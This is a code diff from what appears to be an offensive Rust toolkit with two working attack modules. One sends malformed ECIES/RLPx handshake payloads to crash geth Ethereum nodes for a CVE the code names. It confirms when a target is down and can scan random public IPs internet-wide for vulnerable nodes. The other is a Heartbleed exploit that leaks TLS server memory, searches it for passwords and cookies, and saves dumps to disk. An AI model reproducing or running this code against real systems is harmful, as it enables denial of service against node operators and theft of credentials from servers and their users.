|
||||
/// Generate RLPx handshake auth message with malformed data
|
||||
fn generate_malformed_rlpx_auth() -> Vec<u8> {
|
||||
// RLPx auth message structure (simplified):
|
||||
// [size (2 bytes)] [encrypted_handshake_data]
|
||||
|
||||
// Claim a large size but provide insufficient data
|
||||
let size: u16 = 500;
|
||||
let mut payload = Vec::with_capacity(200);
|
||||
|
||||
// Size prefix (big endian)
|
||||
payload.push((size >> 8) as u8);
|
||||
payload.push((size & 0xff) as u8);
|
||||
|
||||
// Truncated ECIES encrypted auth message
|
||||
payload.extend(generate_malformed_ecies_payload());
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
/// Send exploit payload to target
|
||||
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
|
||||
let stream = match timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr)
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
return Err(anyhow::anyhow!("Connection failed: {}", e));
|
||||
}
|
||||
Err(_) => {
|
||||
return Err(anyhow::anyhow!("Connection timeout"));
|
||||
}
|
||||
};
|
||||
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// Send appropriate payload based on exploit type
|
||||
let payload = match exploit_type {
|
||||
ExploitType::EciesMalformed => generate_malformed_ecies_payload(),
|
||||
ExploitType::RlpxHandshake => generate_malformed_rlpx_auth(),
|
||||
ExploitType::Both => generate_malformed_rlpx_auth(), // RLPx includes ECIES
|
||||
};
|
||||
|
||||
writer.write_all(&payload).await.context("Failed to send payload")?;
|
||||
writer.flush().await.context("Failed to flush")?;
|
||||
|
||||
// Wait briefly for response or connection drop
|
||||
let mut response = vec![0u8; 1024];
|
||||
let read_result = timeout(
|
||||
Duration::from_secs(3),
|
||||
reader.read(&mut response)
|
||||
).await;
|
||||
|
||||
match read_result {
|
||||
Ok(Ok(0)) => {
|
||||
// Connection closed - might indicate crash
|
||||
Ok(true)
|
||||
}
|
||||
Ok(Ok(_n)) => {
|
||||
// Got response - node didn't crash (might be patched)
|
||||
Ok(false)
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => {
|
||||
// Error or timeout - might indicate crash
|
||||
Ok(true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run exploit against a single target
|
||||
async fn run_single_exploit(config: &ExploitConfig) -> Result<()> {
|
||||
let target = &config.target;
|
||||
|
||||
println!("{}", format!("[*] Target: {}:{}", target, config.p2p_port).cyan());
|
||||
|
||||
// Step 1: Check version via RPC
|
||||
println!("{}", "[*] Checking geth version via JSON-RPC...".cyan());
|
||||
let info = check_geth_version(target, config.rpc_port).await
|
||||
.ok()
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Some(ref version) = info.version {
|
||||
println!("{}", format!("[+] Version: {}", version).green());
|
||||
if info.vulnerable {
|
||||
println!("{}", "[!] VULNERABLE: Version < 1.16.8 detected!".red().bold());
|
||||
} else {
|
||||
println!("{}", "[+] Version appears to be patched (>= 1.16.8)".green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[?] Could not determine version via RPC".yellow());
|
||||
}
|
||||
|
||||
if let Some(net_id) = info.network_id {
|
||||
let network_name = match net_id {
|
||||
1 => "Ethereum Mainnet",
|
||||
3 => "Ropsten",
|
||||
4 => "Rinkeby",
|
||||
5 => "Goerli",
|
||||
11155111 => "Sepolia",
|
||||
_ => "Unknown/Private",
|
||||
};
|
||||
println!("{}", format!("[*] Network ID: {} ({})", net_id, network_name).cyan());
|
||||
}
|
||||
|
||||
// Step 2: Check P2P port
|
||||
println!("{}", format!("[*] Checking P2P port {}...", config.p2p_port).cyan());
|
||||
let p2p_open = check_p2p_port(target, config.p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if p2p_open {
|
||||
println!("{}", format!("[+] P2P port {} is open", config.p2p_port).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] P2P port {} is closed or filtered", config.p2p_port).red());
|
||||
if config.check_only {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// Step 3: Exploit if requested
|
||||
if !config.check_only && p2p_open {
|
||||
println!();
|
||||
println!("{}", "[!] Sending exploit payload...".yellow().bold());
|
||||
|
||||
let types_to_try = match config.exploit_type {
|
||||
ExploitType::Both => vec![ExploitType::EciesMalformed, ExploitType::RlpxHandshake],
|
||||
t => vec![t],
|
||||
};
|
||||
|
||||
for exploit_type in types_to_try {
|
||||
println!("{}", format!("[*] Trying {:?} attack...", exploit_type).cyan());
|
||||
|
||||
match send_exploit(target, config.p2p_port, exploit_type).await {
|
||||
Ok(crashed) => {
|
||||
if crashed {
|
||||
println!("{}", "[!] Target may have crashed (connection closed)".red().bold());
|
||||
|
||||
// Verify by trying to reconnect
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
let still_up = check_p2p_port(target, config.p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if !still_up {
|
||||
println!("{}", "[!] CONFIRMED: Target node is DOWN!".red().bold());
|
||||
} else {
|
||||
println!("{}", "[?] Target node recovered or wasn't fully crashed".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Target appears unaffected (may be patched)".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Exploit error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!();
|
||||
println!("{}", "═══ Scan Results ═══".cyan().bold());
|
||||
println!(" Target: {}:{}", target, config.p2p_port);
|
||||
println!(" Version: {}", info.version.as_deref().unwrap_or("Unknown"));
|
||||
println!(" Vulnerable: {}", if info.vulnerable { "YES".red().to_string() } else { "NO/Unknown".green().to_string() });
|
||||
println!(" P2P Open: {}", if p2p_open { "YES" } else { "NO" });
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run mass scan against multiple targets
|
||||
async fn run_mass_scan(config: &ExploitConfig) -> Result<()> {
|
||||
let targets_file = match &config.targets_file {
|
||||
Some(f) => f,
|
||||
None => bail!("No targets file specified"),
|
||||
};
|
||||
|
||||
let file = File::open(targets_file)
|
||||
.with_context(|| format!("Failed to open targets file: {}", targets_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets", targets.len()).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
|
||||
let total = targets.len();
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for (idx, target) in targets.into_iter().enumerate() {
|
||||
let sem = semaphore.clone();
|
||||
let rpc_port = config.rpc_port;
|
||||
let p2p_port = config.p2p_port;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return (target, None, false),
|
||||
};
|
||||
|
||||
// Check version
|
||||
let info = check_geth_version(&target, rpc_port).await.ok();
|
||||
let vulnerable = info.as_ref().map(|i| i.vulnerable).unwrap_or(false);
|
||||
|
||||
// Check P2P
|
||||
let p2p_open = check_p2p_port(&target, p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
(target, info, p2p_open && vulnerable)
|
||||
});
|
||||
|
||||
tasks.push((idx, task));
|
||||
}
|
||||
|
||||
let mut vulnerable_count = 0;
|
||||
let mut results = Vec::new();
|
||||
|
||||
for (idx, task) in tasks {
|
||||
if let Ok((target, info, is_vulnerable)) = task.await {
|
||||
let progress = ((idx + 1) as f64 / total as f64 * 100.0) as u32;
|
||||
|
||||
if is_vulnerable {
|
||||
let version = info.and_then(|i| i.version).unwrap_or_else(|| "Unknown".to_string());
|
||||
println!("{}", format!("[{}/{}] [{}%] {} - VULNERABLE ({})",
|
||||
idx + 1, total, progress, target, version).green());
|
||||
vulnerable_count += 1;
|
||||
results.push(format!("VULNERABLE: {} - {}", target, version));
|
||||
} else {
|
||||
println!("{}", format!("[{}/{}] [{}%] {} - Not vulnerable/unreachable",
|
||||
idx + 1, total, progress, target).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!();
|
||||
println!("{}", "═══ Mass Scan Results ═══".cyan().bold());
|
||||
println!(" Total Targets: {}", total);
|
||||
println!(" {}", format!("Vulnerable: {}", vulnerable_count).green());
|
||||
|
||||
// FIX: Handle write errors properly
|
||||
if !results.is_empty() {
|
||||
let filename = "cve_2026_22862_geth_results.txt";
|
||||
match File::create(filename) {
|
||||
Ok(mut file) => {
|
||||
for result in &results {
|
||||
if let Err(e) = writeln!(file, "{}", result) {
|
||||
eprintln!("{}", format!("Warning: Failed to write result: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
println!(" Results saved to: {}", filename.green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Error: Failed to create results file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check if target is 0.0.0.0, 0.0.0.0/0, or "random" for mass random scan mode
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
|
||||
run_random_scan().await
|
||||
} else {
|
||||
let config = get_user_config(target)?;
|
||||
|
||||
if config.mass_scan {
|
||||
run_mass_scan(&config).await
|
||||
} else {
|
||||
run_single_exploit(&config).await
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run random scan against 0.0.0.0/0 (internet-wide random scanning)
|
||||
async fn run_random_scan() -> Result<()> {
|
||||
println!("{}", "[*] Random Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Scanning random public IPs for vulnerable geth nodes".cyan());
|
||||
println!();
|
||||
|
||||
// Ask about exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
let use_exclusions = !input.trim().eq_ignore_ascii_case("n");
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusions.len()).green());
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Output file
|
||||
print!("{}", "[?] Output file [default: geth_vulnerable_nodes.txt]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let outfile = if input.trim().is_empty() {
|
||||
"geth_vulnerable_nodes.txt".to_string()
|
||||
} else {
|
||||
input.trim().to_string()
|
||||
};
|
||||
|
||||
// Concurrency
|
||||
print!("{}", format!("[?] Concurrency [default: {}]: ", MAX_CONCURRENT_SCANS).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let threads = input.trim().parse::<usize>()
|
||||
.unwrap_or(MAX_CONCURRENT_SCANS);
|
||||
let threads = if threads > 0 { threads } else { MAX_CONCURRENT_SCANS };
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// FIX: Add shutdown signal
|
||||
let shutdown = Arc::new(AtomicBool::new(false));
|
||||
let shutdown_clone = shutdown.clone();
|
||||
|
||||
// Spawn Ctrl+C handler
|
||||
tokio::spawn(async move {
|
||||
if tokio::signal::ctrl_c().await.is_ok() {
|
||||
println!("\n{}", "[!] Ctrl+C received, shutting down...".yellow());
|
||||
shutdown_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
});
|
||||
|
||||
// FIX: Create file writer channel to avoid race conditions
|
||||
let (tx, mut rx) = mpsc::channel::<String>(100);
|
||||
|
||||
// Spawn file writer task
|
||||
let outfile_clone = outfile.clone();
|
||||
let writer_handle = tokio::spawn(async move {
|
||||
match File::create(&outfile_clone) {
|
||||
Ok(mut file) => {
|
||||
while let Some(line) = rx.recv().await {
|
||||
if let Err(e) = writeln!(file, "{}", line) {
|
||||
eprintln!("{}", format!("Warning: Failed to write to file: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Error: Failed to create output file: {}", e).red());
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// FIX: Progress reporter with shutdown support
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let shutdown_progress = shutdown.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !shutdown_progress.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
if !shutdown_progress.load(Ordering::Relaxed) {
|
||||
println!("[*] Progress: Checked {} | Vulnerable {}",
|
||||
chk.load(Ordering::Relaxed), fnd.load(Ordering::Relaxed));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting random scan... Press Ctrl+C to stop.".cyan().bold());
|
||||
println!();
|
||||
|
||||
// FIX: Bounded task collection with shutdown support
|
||||
let mut active_tasks = Vec::new();
|
||||
|
||||
while !shutdown.load(Ordering::Relaxed) {
|
||||
// Acquire permit
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Semaphore error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
// Check P2P port
|
||||
let p2p_open = check_p2p_port(&ip, DEFAULT_P2P_PORT).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if p2p_open {
|
||||
// Check version via RPC
|
||||
let info = check_geth_version(&ip, DEFAULT_RPC_PORT).await.ok();
|
||||
|
||||
if let Some(ref node_info) = info {
|
||||
if node_info.vulnerable {
|
||||
let version = node_info.version.as_deref().unwrap_or("Unknown");
|
||||
println!("{}", format!("[+] VULNERABLE: {} - {}", ip, version).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
// Send to file writer
|
||||
let _ = tx.send(format!("VULNERABLE: {} - {}", ip, version)).await;
|
||||
} else if node_info.version.is_some() {
|
||||
println!("{}", format!("[+] Geth found (patched): {} - {}",
|
||||
ip, node_info.version.as_deref().unwrap_or("Unknown")).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
|
||||
active_tasks.push(task);
|
||||
|
||||
// FIX: Clean up completed tasks periodically to prevent unbounded growth
|
||||
if active_tasks.len() >= threads * 10 {
|
||||
// Drain first batch of tasks
|
||||
let drain_count = threads.min(active_tasks.len());
|
||||
for task in active_tasks.drain(..drain_count) {
|
||||
let _ = task.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks to complete
|
||||
println!("{}", "[*] Waiting for active scans to complete...".cyan());
|
||||
for task in active_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
// FIX: Properly shutdown background tasks
|
||||
drop(tx); // Close channel to signal writer to exit
|
||||
let _ = writer_handle.await;
|
||||
|
||||
// Stop progress reporter (it checks shutdown flag)
|
||||
let _ = progress_handle.await;
|
||||
|
||||
println!();
|
||||
println!("{}", "═══ Random Scan Complete ═══".cyan().bold());
|
||||
println!(" Checked: {}", checked.load(Ordering::Relaxed));
|
||||
println!(" {}", format!("Vulnerable: {}", found.load(Ordering::Relaxed)).green());
|
||||
println!(" Results saved to: {}", outfile.green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::Colorize;
|
||||
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
const INITIAL_BACKOFF_MS: u64 = 500;
|
||||
const MAX_CONCURRENT: usize = 10;
|
||||
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ScanConfig {
|
||||
pub port: u16,
|
||||
pub payload_size: u16,
|
||||
pub heartbeat_attempts: usize,
|
||||
pub batch_file: Option<String>,
|
||||
}
|
||||
|
||||
impl Default for ScanConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: 443,
|
||||
payload_size: 0x4000,
|
||||
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
|
||||
batch_file: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target).await?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read port input")?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read payload size input")?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
} else if size > 0x4000 {
|
||||
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
|
||||
config.payload_size = 0x4000;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read heartbeat attempts input")?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
} else if attempts > 20 {
|
||||
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
|
||||
config.heartbeat_attempts = 20;
|
||||
}
|
||||
}
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read batch mode input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read batch file path input")?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
if Path::new(&batch_file).exists() {
|
||||
config.batch_file = Some(batch_file);
|
||||
} else {
|
||||
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
println!(" Port: {}", config.port);
|
||||
println!(" Payload Size: {} bytes", config.payload_size);
|
||||
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
|
||||
if let Some(ref batch) = config.batch_file {
|
||||
println!(" Batch File: {}", batch);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
if let Some(batch_file) = &config.batch_file {
|
||||
run_batch_scan(batch_file, &config).await
|
||||
} else {
|
||||
scan_single_target(target, &config).await
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
let sem_clone = sem.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Semaphore acquire should never fail in practice, but handle gracefully
|
||||
let _permit = match sem_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
eprintln!("Warning: Failed to acquire semaphore permit");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
eprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
|
||||
if raw.is_empty() {
|
||||
bail!("Target address cannot be empty");
|
||||
}
|
||||
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
let host = if stripped.contains(':') && !stripped.contains('.') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
let addr = format!("{}:{}", host, config.port);
|
||||
|
||||
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
|
||||
addr, config.payload_size, config.heartbeat_attempts).cyan());
|
||||
|
||||
let mut all_leaked_data = Vec::new();
|
||||
|
||||
for attempt in 1..=config.heartbeat_attempts {
|
||||
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
|
||||
|
||||
match scan_with_retry(&addr, config.payload_size).await {
|
||||
Ok(Some(data)) => {
|
||||
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
|
||||
all_leaked_data.extend_from_slice(&data);
|
||||
}
|
||||
Ok(None) => {
|
||||
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
if attempt < config.heartbeat_attempts {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if all_leaked_data.is_empty() {
|
||||
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
|
||||
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
|
||||
println!();
|
||||
|
||||
analyze_leaked_data(&all_leaked_data);
|
||||
|
||||
let safe_filename = stripped
|
||||
.replace(':', "_")
|
||||
.replace('/', "_")
|
||||
.replace('\\', "_");
|
||||
let filename = format!("leak_dump_{}.bin", safe_filename);
|
||||
|
||||
save_leak_dump(&filename, &all_leaked_data)?;
|
||||
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let mut backoff = INITIAL_BACKOFF_MS;
|
||||
|
||||
for retry in 0..MAX_RETRIES {
|
||||
if retry > 0 {
|
||||
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
|
||||
sleep(Duration::from_millis(backoff)).await;
|
||||
backoff *= 2;
|
||||
}
|
||||
|
||||
match perform_heartbleed_test(addr, payload_size).await {
|
||||
Ok(data) => return Ok(data),
|
||||
Err(e) if retry < MAX_RETRIES - 1 => {
|
||||
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
bail!("All retry attempts exhausted")
|
||||
}
|
||||
|
||||
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await
|
||||
.context("Failed to send Client Hello")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Client Hello")?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => bail!("No response to Client Hello"),
|
||||
Ok(Err(e)) => bail!("Read error: {}", e),
|
||||
Err(_) => bail!("Read timed out"),
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(payload_size)).await
|
||||
.context("Failed to send Heartbeat request")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Heartbeat")?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return Ok(None),
|
||||
Ok(Err(_)) => return Ok(None),
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
if n <= 5 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(leak[..n].to_vec()))
|
||||
}
|
||||
|
||||
fn analyze_leaked_data(data: &[u8]) {
|
||||
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
|
||||
|
||||
let data_str = String::from_utf8_lossy(data);
|
||||
|
||||
let password_patterns = vec![
|
||||
(r"password[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
|
||||
];
|
||||
|
||||
for (pattern, label) in password_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = cookie_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
